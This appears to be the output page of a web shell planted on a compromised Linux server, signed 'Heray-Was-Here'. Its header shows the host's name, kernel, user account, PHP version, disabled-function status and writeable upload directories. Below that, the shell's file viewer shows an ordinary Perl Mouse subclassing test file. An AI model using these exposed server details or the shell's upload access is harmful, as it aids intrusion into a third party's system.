Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /usr/share/doc/perl-Mouse/t/001_mouse/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/perl-Mouse/t/001_mouse/002-subclass.t
#!/usr/bin/perl
use strict;
use warnings;
use Test::More;
use lib 't/lib';

# auto-subclass
do {
    package Class;
    use Mouse;
};

can_ok(Class => 'new');

my $object = Class->new;

isa_ok($object => 'Class');
isa_ok($object => 'Mouse::Object');

# extends()
do {
    package ParentClass;
    use Mouse;

    package Child;
    use Mouse;
    extends 'ParentClass';

    package Mouse::TestClass;
    use Mouse;
    extends 'Unsweetened'; # in t/lib

    sub mouse { 1 }
};

can_ok(Child => 'new');

my $child = Child->new;

isa_ok($child => 'Child');
isa_ok($child => 'ParentClass');
isa_ok($child => 'Mouse::Object');

can_ok('Mouse::TestClass' => qw(mouse unsweetened));

eval q{
    package Child;
    use Mouse;
};

isa_ok($child => 'ParentClass');
isa_ok($child => 'Mouse::Object');

done_testing;

Hry